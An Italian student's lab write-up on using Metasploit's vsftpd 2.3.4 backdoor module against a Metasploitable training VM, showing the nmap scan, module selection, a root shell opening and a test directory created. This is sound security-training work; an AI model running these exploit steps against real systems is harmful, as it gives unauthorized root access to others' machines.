

Esercizio S7-L1

L'esercizio prevedeva di usare l'exploit vsftpd su metasploitable.

Un exploit è un codice malevolo che sfrutta una vulnerabilità già presente nel sistema, a differenza di un malware che invece ha bisogno di comando esterno.

Vsftp sfrutta una vulnerabilità nel protocollo ftp, adibito al trasferimento dei dati.

Per prima cosa sono andato ad usare nmap per una scansione per vedere il servizio attivo sulla porta 21 (ftp) e che versione fosse.

```
(gimp@kali)-[~]
$ nmap -sV -p 21 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 13:10 CET
Nmap scan report for 192.168.1.149
Host is up (0.0011s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds
```

Dopodiché ho lanciato msfconsole su kali e seguito tutto il procedimento spiegato.

Utilizzando search vsftpd ho trovato la versione corretta da usare (backdoor), ho impostato l'rhosts su 192.168.1.149 come descritto dall'esercizio e avviato l'exploit.

```
Matching Modules

#  Name                               Disclosure Date  Rank    Check
-  -
0  auxiliary/dos/ftp/vsftpd_232        2011-02-03      normal  Yes
VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03      excellent No
VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 auxiliary(dos/ftp/vsftpd_232) > use 1
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.1.100:32911 -> 192.168.1.149:6200)
) at 2023-11-06 11:25:38 +0100
```

Dopo aver confermato la corretta esecuzione, mi sono spostato sulla directory root di meta e creato una nuova directory di nome test_metasploit.

Da meta ho cercato la suddetta directory per confermare che la creazione fosse andata a buon fine.

```
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin  dev  initrd  lost+found  nohup.out  root  sys  usr
boot  etc  initrd.img  media  opt  sbin  test_metasploit  var
cdrom  home  lib  mnt  proc  srv  tmp  vmlinuz
```